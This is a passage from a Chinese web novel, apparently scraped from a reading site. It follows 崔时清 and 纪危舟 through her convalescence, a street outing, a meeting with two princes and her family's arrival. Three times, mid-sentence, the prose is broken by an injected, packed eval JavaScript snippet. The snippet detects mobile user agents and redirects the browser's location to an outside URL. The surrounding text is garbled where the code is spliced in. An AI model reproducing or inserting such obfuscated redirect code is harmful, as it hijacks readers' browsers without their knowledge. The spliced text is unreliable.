在纪危舟轻语时,她心中暗笑,却不由装着沉睡配合他,纵容他的小心思。 原本想着入了里屋,戏弄他一番。 躺在舒服的床榻上,一股如山倒来的倦意倏然变得浓沉,迷迷糊糊便入了梦。 崔长殷拉了拉纪危舟的衣袂,不想让外男留在妹妹闺阁中,挤眉弄眼地表达他的意思。 出去、出去! “兄长不便在此,先出去吧。”纪危舟拨开崔长殷的手,低声道。 “……我、我不便?你就方便了?”崔长殷惊愕地瞪着眼睛,不敢相信这是纪家三郎说出口的话。 “时娘伤势不轻,此番奔波数日,我需要在此照顾她。” 纪危舟一手搭脉,一边理直气壮地看着他。 “你何时懂医术了?”崔长殷的语气虚了几分,心底还是有些不信。 纪危舟扫了一眼桑麻,后者见状,屈膝低声道:“郎君,主子是公子救回来的,近来也都是公子在照养。” 他救的?医士在做什么?为何不找女医照顾?! 崔长殷感到荒唐的同时,生起许多与礼不合的念头。 但‘主子是公子救回来的’,这话太重了,所有困惑在此之下都显得不合时宜,也失了其身的分量。 他看着纪危舟垂眸认真诊脉的模样,咬了咬牙,还是决定先行出去。 妹妹已然及笄,哪怕嫡亲兄长也不便在里屋多待的。 至于纪家三郎,有自己守在门外、婢子也在,料他是不敢对时娘做些什么的! 崔长殷如卫兵一样,在门口站岗,还在思量尽快寻人问清时娘的伤情,桑麻便走了出来,与他一起守在门口、站起岗来。 “?”崔长殷愕然地看着她,“你怎么出来?!” 怎么出来了?因为公子不喜欢其他人近身伺候主子。 桑麻很有分寸地认为自己不该直言回答,思索着,说道:“主子的伤口需要重新包扎,婢子唯恐惊扰公子,便先行退下。” “包扎?小心点也无错。” 崔长殷想起洞中相逢时,妹妹虚弱的样子,有些心不在焉,正要细问伤情,顿时惊呼了一声,瞪着身边的婢子,“包扎!时娘伤在心口,你、你们!” 桑麻看到崔长殷被吓得面色青白,连忙屈膝,把近来的事情尽数道出。 “……你是说,时娘心脉寸断,几乎没了气息?!” 崔长殷破声惊道,眼眶倏然通红,瞳仁上更是布上了血丝,浑身颤抖着。 在桑麻平静的声线下,仿佛亲眼看到了他的小时娘奄奄一息、身无至亲地躺在黑夜中,而所有人都在等着,她的离开。 “是,连太医也束手无策,府中管事也来、来筹备主子的身后事。是公子拦住所有人,以一己之力救回主子的。” 谁也不知道那一夜,承受众叛亲离的骂名,纪危舟是如何救回崔时清的。 他们只知道,在众人皆以为崔家时娘香消玉殒、纪家三郎入了魔怔之际,紧闭了彻夜的门,重新打开了。 而本该断了生息的女娘,更是重新鲜活了起来。 经历过那一夜的人、国公府的长辈们,在那一夜挡不住纪家三郎的所有人,再也无法用礼教之事来约束历经生死的二人。 在生与死之下,谁还会在乎男女之大防? 总归,他们情深至此,是要结成连理的。 崔长殷无法从那一夜,让人透不过气的绝望中脱身,久久沉默着。 差点,他差点就失去了自己唯一的妹妹。 一桩婚事又算得了什么? 只要时娘想要,他们都应该无条件满足,只要时娘好好活着。 他们家的软软,可以好好地活下来。 * 不同于兄长的夙夜难眠,累得不轻的崔时清,倒是把这几日缺的觉都补了回来。 睁开眼睛,她懒洋洋地舒展着手脚,瞥见靠在身侧,坐着浅寐的纪危舟,便托着腮,观察起他来。 面颊上的刀伤像是上过药,没了昨日的红肿。 崔时清百无聊赖地伸出指尖拨弄着他的长睫,唇角弯了弯,沉眉威胁。 “真碍眼,把你剪了可好?” 想象纪危舟没了睫毛的样子,崔时清暗暗偷乐了一下,刚要收回手指,便被抓了个现行。 “……”崔时清故作镇定地瞅着他,眼睛里是看透一切的睿智,“不装睡了?” 纪危舟浅笑道:“这不是急着求饶吗?” 崔时清傲慢地抬起下颌,“求吧,我听着。” 把她的手指放在唇边亲了几口,直闹着崔时清发痒挣扎,纪危舟这才眨了眨他那惹人嫌弃的长睫,轻声开口。 “且留着它,给软软把玩吧?” 崔时清轻挑眉眼,抿唇压了压上扬的嘴角,冷言冷语道:“就这样了?” “就这样。” 纪危舟笑看着她,面容温良,掌下却不停、一寸寸地拂过她的手指,把人揉捏得浑身酥麻。 “比起以三言两语糊弄软软,我更擅长身体力行,让你欢喜。” “……好了,留着!” 崔时清是挺欢喜的,但又不愿意遂了纪危舟的小心思,便冷着心肠断然拒绝。 轻叹一口气,纪危舟哀怨地睨着她,试图再努力努力。 躬身低头,面容几乎贴上崔时清,温声哄劝道:“既然留下了,可要现在就把玩一二?” 随之,鼻尖被暧昧地磨蹭了一下。 崔时清瞳孔微缩,心脏似是被握着自己的这只手,猛然抓了一下,使她禁不住倒抽一口凉气。 ……真是要命,不能藏一藏他的狐狸尾巴吗? 唯恐被妖精吸干精气。 崔时清蛄蛹着身体,几近逃窜地下了地。 生龙活虎的行动,让纪危舟不知哭笑不得,也下了榻,神色幽幽地看着浑身防备的女娘,嗔怪着。 “真是无情。” “你第一天知道吗?” 逃离狐狸窝的崔时清,再次获得了身心的控制权,连嘴皮子也利索了起来,摩拳擦掌地扎他的心。 “也罢,软软如今越发知道疼人了,我也该知足。” 没有想象中的反应,让崔时清有些不得劲,歪头瞅着纪危舟,不认这话。 “你如何得来了这种错觉?” 纪危舟笑而不语,拉着崔时清坐了下来,弯腰替她穿上鞋子。 “软软懂我一片痴心,在与兄长之间选择了我,我可不会忘了。” “胡说。” 崔时清耳根发烫,偏偏脚踝被大掌握着动弹不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13989177|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得,只得气恼地反驳一声。 手肘撑在她的膝上,纪危舟慵懒地托腮看她,“软软不认,那我们且细细言说,昨日在……” “昨日什么!” 崔时清满脸通红,不想承认装睡,又不想露怯,便强装镇定地斜乜着他,低斥了一声,以此威胁。 纪危舟趴在她的膝上闷笑了几声,在女娘恼羞成怒之前,认了输。 “昨日,全赖软软相救。” 扫了一眼箭矢,握着崔时清的双手,眼神定定地看她,“救命之恩、不离不弃之义,自当以身相许。” 崔时清这才注意到桌上的箭矢,傲慢地轻扬下颌。 一击即中。 她真的很强大啊! 九世杀不得眼前之人,不过是天道暗中捣鬼,否则以她的能力,怎会输? “软软真厉害。” “这是自然。” “这世间还有软软不会的吗?” “……呃,还是有些的。” “怎么可能?在我眼中,软软就是无所不能的。” “这是你的心里话?” “真心实意!越是与软软深交,我越是钦佩软软的能力。” “你还挺有眼光的。” “是软软太过出众了。” “嘻嘻,是很出众!” 在一声声吹捧下,崔时清渐渐迷失自己,眼睛晶亮,如同找到知己,关切地扶起了纪危舟,让他坐在暖凳上,与自己多说说话。 “软软,你说。我们共同经历了数次生死,是不是就像戏台上唱说的,理应‘生则同衾,死则同穴’,永生永世不相离?” “是是是。” 崔时清瞪圆了双目,颇为迷茫地眨巴着桃花眼。 不是在夸她吗? 怎么立起了永生永世之约? 崔时清咽了一口口水。 什么生生世世?这辈子的谎话还没搞清楚呢! 纪危舟没有给她反悔的机会,与她执手相望,目不转睛地看着桃花眼,眸中似有满天星光闪动,耀眼得让人不敢直视,又忍不住靠近。 “软软与我心意相通,我很感动。” “你先不要感动,这些——” 情话说说也罢,委实不必当真! “嗯?” 纪危舟虔诚地亲吻着崔时清的双手,眼睛黑白分明地看着她,纯粹又专注。 “……”奇怪!怎么说不出口?! 崔时清不自在地抽回手,移开了视线。左看右看了一圈,举起箭矢,想起这玩意穿过山匪的眼窝,有些嫌弃地扔在一旁。 “留着它做什么?” 纪危舟弯腰捡起被弃置在地的箭矢,垂着眸子,拂过箭上看不见的浮尘。 孤山是他们的恶梦。 那一刻他存了赴死之心。 他想,若是她最想要的还是自己的性命,便予她吧。 八条命,一一还清。 或许他们都能放下,又或许他们能如初见,不夹杂任何怨恨和隐瞒地看着彼此,和世间寻常男女一样、试着相爱。 这支箭矢给了他希望。 一切都改变了,他们可以不必蹉跎。 直视着面前的人,纪危舟弯唇笑着。 “这是软软爱我之心,当然要永远收藏。” 崔时清眼角微抽,满腹心声却不知从何说起。 更像是得了一种听到‘情情爱爱’、‘生生世世’之言,便脑子发昏的病症,被狐狸精抱在腿上,浑浑噩噩地亲亲抱抱许久,累得不行,便放弃挣扎。 随他吧!与一心情爱的郎君说不明白了! 51. 乘车 匪患已除,勉州百姓再无忌惮。 家家户户杀猪宰羊、满城红绸灯笼高挂,庆贺祭拜,把这个喜讯送与逝去的亲友,叫他们于九泉之下也可瞑目。 州府甚至特令解除十日宵禁,举办游船灯会,令百姓昼夜歌舞欢庆。 崔时清的伤口有些崩裂,暂时不宜启程回去,在勉州别苑窝了两日,便与纪危舟出门散心。 对于她而言,游船灯会没什么特别,时节蟹酒也吃不得。 好在食肆的葱醋鸡和莼羹鲈脍做的不错,又在食客的推荐下,从隔壁小铺买来了桂花糖藕,吃了顿可心的。 “试试白菊茶。” 纪危舟移开面前的油纸,把花茶递与她。青瓷盏中白菊绽放,水波轻荡间散发阵阵清香。 端起茶盏抿了一口,清幽甘甜的菊香抵消了糖藕的甜腻,崔时清微眯着眼睛,蜗居勉州的憋闷似乎也在此刻稍得纾解。 纪危舟夹起一块糖藕,不紧不慢地咀嚼,注视着女娘餍足的神情。 “喜欢吗?”他明知故问。 “尚可。” 喜欢但不说的崔时清,倨傲地放下茶盏,看了看乏善可陈的勉州街头,便百无聊赖地托腮瞅着他。 纪危舟也学着崔时清品茶的模样,微微眯了眯眸子,唇角止不住地上扬着。 向来不爱甜食的他,在此时感受到了些许乐趣。 吃完以后,他放下竹箸,慢条斯理地包起剩余的糖藕。 由着崔时清在自己的手指上看了许久,余光扫了一眼被冷落的青瓷盏,温声开口。 “软软的养生茶,也可以加些鲜菊、用以调味。” 崔时清轻哂道:“听你说了好几遍养生茶,至今为止我连片茶叶都还没瞧见。” “这是我的错,回京以后必定办妥此事。”纪危舟保证。 崔时清忙不迭欺身问道:“不如今日便启程回去?” 比起养生茶,更期待归京的女娘,眼睛亮晶晶的。 纪危舟沉默地看着她,直到崔时清浑身不自在,准备露出獠牙的时候。 “软软为何急着回京?” 崔时清觉得他的这个问题有些莫名其妙,皱眉反问:“勉州这样穷乡僻壤之地,怎可久住?” 纪危舟若有所思道:“软软想要回京都,只是因为京都的繁盛?” “是也不是。” 崔时清敲了敲瓷盏,意味深长地看了他一眼,“我的乐子可都在京都城中,还是尽早归去的好。” 纪危舟垂眸颔首。 他会在临走前购置些菊茶,回了京都以此调配茶饮配方,让女娘挑选着品用。 只要是崔时清想要的,他都会满足。 而他要的,是自己的女娘多看看他,而不是什么劳什子白菊茶。 让女娘分心沉溺的,都会让他觉得难以忍受,控制不住毁灭的冲动。 纪危舟想,他或许是中了什么蛊毒,日复一日、越来越无法克制自己的所思所行。 也许,他应该查一查。 世间当真有这样爱欲难填的蛊毒,他的女娘也应当服用,从此眼里心中、绝不会动摇地只有他。 他知道自己的内心糟污又阴暗、比之蛇蝎还要可怕,但还拥有理智的他,知道自己应该怎么做,知道如何假扮温良与无害。 轻叹了一声,纪危舟露出了无奈的表情,看她像是在看着顽皮的小儿,似是颇为头疼。 “要是没了乐子呢?” “没了乐子?”崔时清刚想反驳,又沉下心,认真思考着。 她现在初尝胜利,却也不敢妄言可以笑到最后。兴许直到她没了生息,才能知道胜负所在。 再过数年,会不会一切都了无生趣了? 崔时清斜睨着身边的人,心底隐隐有个答案。 不再自扰,弯唇笑着,顺势勾住那只让她眼馋了片刻的手指,玩了玩,才觑着纪危舟的眼睛。 “不是有你吗?” “嗯?”纪危舟笑看着她。 “有你在,我便不会厌烦京都。”崔时清理所当然地说道。 喉结涩然地滑动了一下,看着他们交缠的手指,纪危舟的声音是压抑过后的低沉,却还是隐藏不了其中的颤动。 “我若不在京都呢?” “为何不在?”崔时清皱起眉。 问完以后,身体像是被怒火填塞,指下微收,紧紧攥着纪危舟的手,恨不得把这只漂亮的手剁下来,断了他不安分的心。 想跑? 没门! 在凌厉地注视下,黑眸渐渐蒙上了一团水气,被洗过瞳仁纯粹又清透,湿漉漉地望着崔时清。 这妖精! 崔时清暗骂一声。 若是寻常时候,她还能分出心神欣赏玩弄一番,但现在却没了这些闲心,怒视这双含情眼,气恼地质问着。 “怎么不说话?心虚了?还是在打什么算盘?” “软软莫急。”纪危舟轻声安抚。 “……我才不急呢!”崔时清咬牙切齿道。 纪危舟伸出左手,温顺地覆上已紧密交缠的十指间。 “人生漫漫,我们也不能总在一个地方住着。”凝视着她,继续说道,“京都再好,难道软软不想与我同去其他地方瞧一瞧吗?” 崔时清怔愣了一瞬。 不在京都?一起去其他地方? 去哪里? 转瞬间,没有纪危舟的京都城,在心中走了一遭。走过了,并没有留下多少深刻的情绪。 抬眸看着纪危舟,崔时清后知后觉地发现。 没有了他,京都似乎也失了让人魂牵梦萦的力量。 桃花眼困惑地眨了一下。 这几日她在烦闷什么呢? “软软。”纪危舟轻唤了一声。 “啊?”崔时清眨巴着眼睛,懵怔了须臾,才歪着头问他,“你想去何处?” 纪危舟浅笑道:“软软可有想法?” 崔时清收回手,端起茶盏用了几口,答道:“何处皆可。” “皆可?”纪危舟有些意外。 “皆可。” 崔时清点点头,随即道,“但我不喜欢贫瘠之地。” 纪危舟:“还有呢?” 指尖轻点着桌子,崔时清认真思索着,“需要饮水甘甜,举目万花不败、香车宝马随行。” 纪危舟笑着记下。 “还要满足我平日所需的衣食用度,如眼下这样缺衣短食、无处可逛的地方,绝不能去。”崔时清捋了捋衣袂,端庄地坐着,好脾气道,“其他都随你,我皆可的。” 纪危舟依从地应下,又道:“其实此处也有好物的。” “你说的是桂花糖藕?” 虽说确实可口,但以崔时清的挑剔,实在很难过分盛赞。 纪危舟抿唇笑着,“每一座城都藏着当地百姓流连的小弄深巷,庭院深深、乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997577|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趣无穷。只要走一遭,便可大饱口福、寻到心仪之物。” “既如此就逛一逛你说的小弄深巷。”见他如此笃定的模样,崔时清倒是来了兴致。 “软软想要乘车,还是步行?” 崔时清想也不想,便道:“乘车呀。” * “哎呀,看到了吗?独轮车中的女娘!” “看到了,真是俊俏呀。” “推着她的郎君也俏得很咧!” “嘿嘿,小女娘还脸红了!” 崔时清举起怀中的时花遮掩,眼睛斜乜着身后推动独轮车的人,窘迫得连脚趾都蜷了起来。 “有卖粽子糖的,我们买一些吧?” 还买?不嫌丢人吗? 崔时清刚要拒绝,纪危舟便把独轮车和她推了过去,眉眼舒朗地扬声道。 “店家,来一份糖。” 崔时清:“……” “好嘞,女娘收好,70文。” 崔时清面色木然伸出手,把钱袋递与店主。 很快,她获得了一小包粽子糖。 左手拎着糖、右手攥着纪危舟的钱袋,崔时清眼神凉凉地看着笑得不值钱的人,十分确信他是在笑话自己。 “软软还想要什么?” 崔时清瞪了他一眼。 扔下钱袋,拨开腿上的时花,她有气无力地拆开油纸,往嘴里塞了颗粽子糖。徘徊花和松子仁的香味在口中化开,醇香丝甜的味道,安抚了她的羞耻心。 “好吃吗?” 面对一路推着车,也不嫌累,吵吵囔囔个没完的郎君,崔时清果断地塞了两颗糖与他。 看着纪危舟面颊鼓鼓的,被封印住暂时开不了口,她没忍住,扑哧一声笑了出来。 “唔?唔唔唔?” 崔时清乐得不行,连眼泪都落了下来,一面拭着眼角的泪,一面抖着肩膀嘲笑他。 几名娘子坐在巷口、晒日编鞋,见状也跟着痴痴笑着。 “小两口就是甜蜜呀。” “是呀,看得怪想我家郎君,也不知他何时归来。” “你家二郎随县尊立下大功,斩了匪首的脑袋,眼瞅着便要有官身了!你可不能不知足!” “是呀,金娘子且等着享福啦!” “……” 细碎的笑语传入耳边,崔时清看了一眼金娘子。 午后的太阳,照在衣着朴素的娘子身上,使她也透着一股暖洋洋的气息,随着街坊的戏语,温柔笑着。 一丝怪异的暖流随着眼前的一幕,悄悄钻入了崔时清的心尖,她垂眸看着自己,莫名觉得天清气朗,明媚的日光晒在身上,比平日暖上几分。 “天色转凉了?”崔时清好奇地问。 纪危舟端详崔时清红润的面色,空出一只手,探了探她指尖的温度,才道:“霜降已过,夜里也冷了不少。” “怪不得。”崔时清嘟囔了一声。 “软软在奇怪什么?”纪危舟浅笑着,稳稳推着车子,出了巷子。 “没什么。” 崔时清挑挑拣拣着,正要把玩新得来的金铃铛,骤然昏暗的光线让她纳闷地抬头,便看到了驶过身边、挡住日光的马车。 纱帘掀起,车内的一男一女探出头来,看着独轮车与他们,神色皆不自觉地流露出一丝古怪。 注视着远去的车马,崔时清摇了摇手中的铃铛,轻笑出声。 “可真热闹啊。” 52. 改造 “这是在玩什么?” 身后传来一声懒散的调侃,崔时清和纪危舟相视摇头,兴趣缺缺地给了一个眼神。 骑马绕着独轮车走了一圈,赵洛行只差没把眼睛留下,看够了才戏弄般斜睨着他们。 “我说怎么回回都吃闭门羹,原来是来扫街了!这车子挺别致呀!” 崔时清皮笑肉不笑道:“京中来了贵人,大皇子怎么还有功夫与我们闲话?” 赵洛行斜睨着远去的马车,面上冷了几分,心中的烦闷在瞥见纪危舟时,突然消减了不少。 眼睛一转,他恢复了往日的散漫与自如,翻身下马。 “有缘来聚,不如同去湘悦楼,叙叙旧?” “不巧,我们用了茶饭,不能陪殿下尽兴。”纪危舟淡漠地看着赵洛行。 “小叙而已,一杯清茶也可聊表你我之情。”赵洛行堵在了独轮车前,铁了心不让他们离开。 “殿下不该强人所难。”纪危舟面无表情,连口吻都冷了下来。 “既安这么说,可真是太见外了。”赵洛行捂着心口,似是抑制不住心中的悲情。 崔时清原本也想观望一二,看一看天道之子会如何应对这混不吝的皇帝大儿。 但斜日照在面上,听他们说了半天也没有要开架的意思,反而催得她昏昏欲睡,顿时没了耐心,打着哈欠摸起一条带叶竹枝,脾气糟糕地下了独轮车。 “啰嗦什么?” 没点真本事,还敢来截她的道! 看着落地的竹叶,见识过崔时清浑起来比自己还疯的场面,赵洛行后退了两步。 “不是想请你们吃顿饭嘛。” 崔时清甩了甩光秃秃的竹枝,凶神恶煞道:“说了不去?听不懂人话?” 赵洛行讪笑道:“好嘛好嘛!何必如此?怪叫人伤心的。” “呵呵。” 崔时清看着纪危舟,矜娇地抬起了下颌。 “看到了?恶人须得恶人磨,好好学学!” 纪危舟一脸受教,“还须时娘多多点拨。” “行吧。”崔时清也不藏私,大方应下,争取把天道之子改造成自己人。 赵洛行:“……”把他当作什么了?! 崔时清准备打道回府,刚转身却被赵洛行扯住了衣袖。 “别走呀!” “殿下。” 纪危舟与他同时出声,沉眉看着他不安分的手,目光寒凉。 没由来的,赵洛行心底一突,在莫名而生的惊惧下高举双手。 回过神来,他又觉得古怪。看着清隽不改的男子,哪还有让人无法喘息的威压? 看错了? 赵洛行浑身难受地挠了挠脑袋,却也知道自己是碰上了硬茬。 唉!这对未婚夫妇真是难啃的刺头! “时娘。” 赵洛行用余光注意着纪危舟,不敢再唐突,只能做小伏低地弯下腰,小声开口道。 “真的不去?赵晟真和花魁皇妃的乐子,也不想看了?” 崔时清眼睛亮了一下,挥了挥竹枝,兴奋道:“可算是说了我可以听懂的人话了。” “嘿嘿,时娘还是我们的时娘啊!”赵洛行咧嘴笑了起来。 崔时清也奸笑了两声,满是期待地问:“你想怎么做?” 赵洛行皱起一张脸,憋了半天,只挤出干巴巴的四字真言。 “随机应变。” “这个我擅长!” 崔时清连连点头,表示收到。 看着凑在一起,恨不得让所有人都知道他们在密谋捣乱的脑袋,纪危舟叹口气,无情地拨开了赵洛行。 崔时清忙不迭仰着头,声音脆生生、又藏不住欢喜地开口。 “我饿了。” 真是可爱。 纪危舟揉了揉她的脑袋。 “既如此,便与殿下同去湘悦楼?” “都听你的。” 崔时清喜欢纪危舟的上道,拉起他的衣袂,赞许地勾了勾他的手指。 纪危舟浅笑地看着她。 赵洛行被酸得不行,急哄哄派人安置好他们的小情趣,便催着他们出发。 皇弟来勉州,他理应把人迎入团练使府宅。 但是,赵洛行太讨厌这个六皇弟了,新仇旧恨之下,他咽不下心中的怒气,根本不想此人玷污自己的住所。 也是在赵晟真再三要求下,他才勉勉强强、捏着鼻子与他在湘悦楼做做表面功夫。 没曾想来,找了好几天没见到的人,居然在大街上被他碰到了。 一切都是天意! 阿弥陀佛、无量天尊! 天老爷都看不过,派来两个硬茬,来替他出气了! 赵洛行高兴的堪比过年,春风满面地恭请他的福星们入雅阁,自己还没进门,便高声唱道。 “瞧瞧,我把谁请来了!” 赵晟真错愕地站起身,直愣愣地盯着纪危舟。 比起纪危舟的淡然,他则像是吃了什么坏果子,神色复杂难言,让人一眼便看出他的不适。 这个奇怪的反应,让崔时清不由侧目。 照理说,赵晟真与纪危舟是没有交情的,直到公主府诗会,纪危舟救下他以后,被孟皇后频频召入宫中,二人才有了往来。 这一世他的救命恩人是许悯儿。 一个仅有几面之缘的人,怎会使他如此反常? 难不成他们背着我,私会了? 崔时清看着身边的人,止不住地胡思乱想着。 “皇弟是不欢迎我的朋友吗?”赵洛行歪嘴笑着。 赵晟真强压下心中的情绪,对于市井做派的庶兄颇为鄙夷,但面上还是维持着他独有的天真与热情,大步迎了上来。 “怎会?我久仰既安的才名,一直都想与他结交呢。” 赵洛行笑眯眯地说:“你的仰慕之情,我倒是知道些。” “皇兄勿要调笑我了。”赵晟真表情僵硬地笑了笑。 “可不是玩笑话。” 赵洛行不想放过他,认真执行‘随机应变’的策略,不错过丝毫机会。 “你不是喜爱既安的字,还从他兄长手中换了不少帖子,日日临摹来着。怎么真人在此,却害羞了?” 赵晟真攥紧了掌心,忍下心底的厌恶,强撑着不愿露怯。 一时倒也如纯真的赤子,眉眼干净又羞涩地看着纪危舟,扬声夸赞。 “既安才学出众,诗词字画在世家亲贵中向来畅行,我自是无法免俗。” 说完客套话,也不等纪危舟给出反应,赵晟真转而与崔时清微微颔首,温善地笑道。 “一直都想感谢县主,没想到今日有此机会。” 崔时清看了一眼赵洛行。 就这样了?她还能再看几百回合啊! 赵洛行耸耸肩,自认道行比不得这狐狸窝里出来的狗崽子。 眼见赵洛行不顶用,纪危舟又处于冰块冷冻、不愿与赵晟真虚与委蛇的状态,崔时清只得靠自己。 “六皇子指的是?” 许悯儿闻言,如弱柳扶风般婀娜地走来,屈膝行礼。 “娘子是要折煞我了?”崔时清笑着避开。 许悯儿扫了眼赵晟真情绪不明的面色,心微微下沉,正对着崔时清再行一礼。 “县主的知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009562|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇之恩,奴家不敢忘。” 崔时清看着她的眼睛,“此话言重了。” 许悯儿刚要开口,崔时清笑着摇摇头。 “许娘子是明珠,有无我皆不会蒙尘。”她看向赵晟真,笑着问道,“六皇子慧眼识珠,想必也深有体会。” “说的不错。救命之恩大过天,许娘子在我心中与既安一样,皆如皎月濯濯,令人钦慕。” 赵晟真笑声明朗,举止间不乏少年郎的真挚、与不通情爱的单纯。 月光吗? 华美却虚弱。 这小子骂人挺狠的。 崔时清忍不住回头,看着她的皎月,暗笑了一声。 “乏了?” 明月牵着她的手,温柔入骨。 “嗯,我好像又不饿了。”崔时清意兴阑珊地望着他。 纪危舟颔首浅笑,看向其他人。 “家中还有兄长在等,我们不便在外逗留,就此告退,请两位殿下见谅。” “啊、这就走了?”赵洛行眼巴巴地看着他们。 赵洛行的无用,让崔时清很失望。 面对他眼中的挽留,没有一丝动摇,跟在纪危舟身边,充当起摆设。 赵晟真还是那副模样,爽朗地笑着。 “传闻是真的?既安与县主订了婚约?” “皇弟也想喝喜酒了?”赵洛行似笑非笑地看着他。 赵晟真面不改色道:“自然是想的,就是不知何时才能喝到。” 纪危舟垂眸看着身边难得乖巧的女娘,握紧了她的手。 “十月初二成婚。” “这么急?”赵家兄弟皆有些意外。 纪危舟点了点头,补充道:“我与时娘会奉上喜庆酒食,但殿下们贵人事忙,便不再唐突邀请了。” “……啊?”我不忙啊! 赵洛行瞪圆了眼睛,怀疑自己是受了狗崽子的牵连。 纪危舟不再多言,点头道别,便牵着崔时清离开。 “真没想到。”赵晟真低声自语。 只看着他的面色,赵洛行的心里便有了几分明了。 这对母子,披着再尊贵的皮囊,也改不得恶犬的本性。 “还在看啊?”赵洛行恶意满满地笑着,“流着哈喇子,垂涎别人的东西,可不体面啊。” “皇兄在说什么?我怎么听不懂?” 他的?还不是吧。 赵晟真笑了笑,瞥了一眼身边的女子,许悯儿便低着头,无声地退了下去。 “此番皇兄配合都护军平定匪乱,父皇很是欣慰。”赵晟真一脸纯善地看着他,“过些时日便是父皇寿辰,皇兄便随我回京吧!这么久了,贵妃娘娘也很挂念皇兄啊。” “你是真心的?”赵洛行讥笑道。 “皇兄与我是至亲手足,应当知道我的心意。” “装了这么多年,不嫌恶心吗?” “皇兄?”赵晟真困惑地看着他。 “是了,忍耐的滋味可不好受。”赵洛行轻轻拍了拍他的面颊,提醒道,“你知道吗?这张人皮都快要摁不住、你的贪婪了。” “我自认没有做错什么,皇兄何时才能放下对我的敌意?”赵晟真注视着他。 “狗崽子!” 赵洛行被恶心得不行,扯过桌上的锦缎,狠狠擦了擦手,揉成一团扔在地上,快步如风般走了出去。 随着赵洛行造成的嘈杂噪声消失,阁子复归平静。 赵晟真越过遍地狼藉,步伐沉稳地走向那张唯一的主位,抚弄着凭几上的花纹,目光阴鸷。 “凭什么?” “他本该死于那场天火。” 53. 逼迫 挂着金铃铛,一路叮叮当当。 崔时清乘着她的专属车驾,在‘皎月’与时花的相伴下,摇摇摆摆回了家。 此时的她,还不知道别苑有个惊吓在等着,惬意悠闲的模样,看得纪危舟心有不忍。 勉州平定匪患的消息在京都传开,正诧异于未来女婿自请剿匪,崔其沂便收到长子的平安信。 当即收拾好行装,带着妻儿赶来。 同样也是今日,他们抵达勉州。 纪危舟提前得到消息,便带着崔时清出门闲逛,想着晚些归去,再有他从中推脱,或许与在京都一样,也可以不必碰面。 而记挂女儿的崔其沂夫妇,在别苑扑了个空,再看着玩得不亦乐乎的崔长殷,当即行了家法,把不顾自身、还牵连胞妹的长子抽了一顿。 随后便是翘首以待,盼着亲眼瞧瞧自己的女儿。 因而,独轮车远远归来,消息便已通传到内院。 一家子赶了出来,与还没下车的崔时清对上了眼。 “……” 看着四双错愕的眼睛,崔时清浑身难受,就像小时候她难得皮一次,脏得像只野猫,正悄摸摸归家,却运道不好被抓了现行。 那种无地自容的感觉,时隔九世,居然可以重新体会。 崔时清顾不上立刻下车,烧了这辆晦气的‘香车宝马’。 她只知道,她快要恨死纪危舟了。 都是他,偏要自己坐这劳什子破独轮!害得她京都恶霸的体面,都要丢光光了! 这不赖他呀。 知道老丈人赶来勉州,却没料到他们如此等不及相见的纪危舟,有些委屈。 崔其沂心疼女儿,便迁怒起纪危舟,气他把人拐出去,还找了如此简陋的车子。 独轮车啊!小女娘蜷坐成团,能舒坦吗? 崔其沂眼神不善地盯着未来女婿,表达自己的不满。 纪危舟腹背受敌之下,却得到了小舅子的相助。 崔丰年噔噔噔跑了过来,为他吸引了众人的注视。 “阿姐!这是什么呀?好好玩,我也要坐!” 扒拉着崔时清的膝盖,眼睛圆溜溜的,对于装着阿姐和各种新奇玩意、糕点糖果的车子,喜欢得不得了。 “你都多大了?不许闹你阿姐。”崔长殷利索地抓着崔丰年的后领,把他拎了起来,眼睛落在妹妹身上,一副想要表扬的神情。 感觉自己也被骂了的崔时清,给不了一点好脸色。 “你多大、他多大?做什么欺负小儿?” “呜呜呜,阿姐好,我要阿姐!”崔丰年凌空踢踏着双脚,胡乱挣扎着。 “这小子在京都几日沉了不少,时娘抱不动,还是阿兄来吧。” 崔长殷也不知道自己犯了妹妹什么忌讳,讪讪笑了下,便把小人夹在腋下,拍拍脑袋让他老实。 被拍过脑袋的崔丰年,没有安分,反而惊声尖叫着,吵个没完。 “阿姐!救我!” 崔时清瞪了一眼纪危舟,扶着他的手臂下了车,随手把金铃铛挂在小儿郎的脖子上,语气冰冷地命令道。 “闭嘴。” 崔丰年闭上了嘴,双手捧起垂吊在颈下的铃铛,好奇地咬了咬。 “阿姐,硌牙。” “蠢货,这也能吃?” 崔时清嫌弃得不行,从独轮车上拿走了粽子糖,与桑麻说:“把点心都送到小郎君院里。” “阿姐真好!丰年以后也要给阿姐买好吃的,买很多很多!” 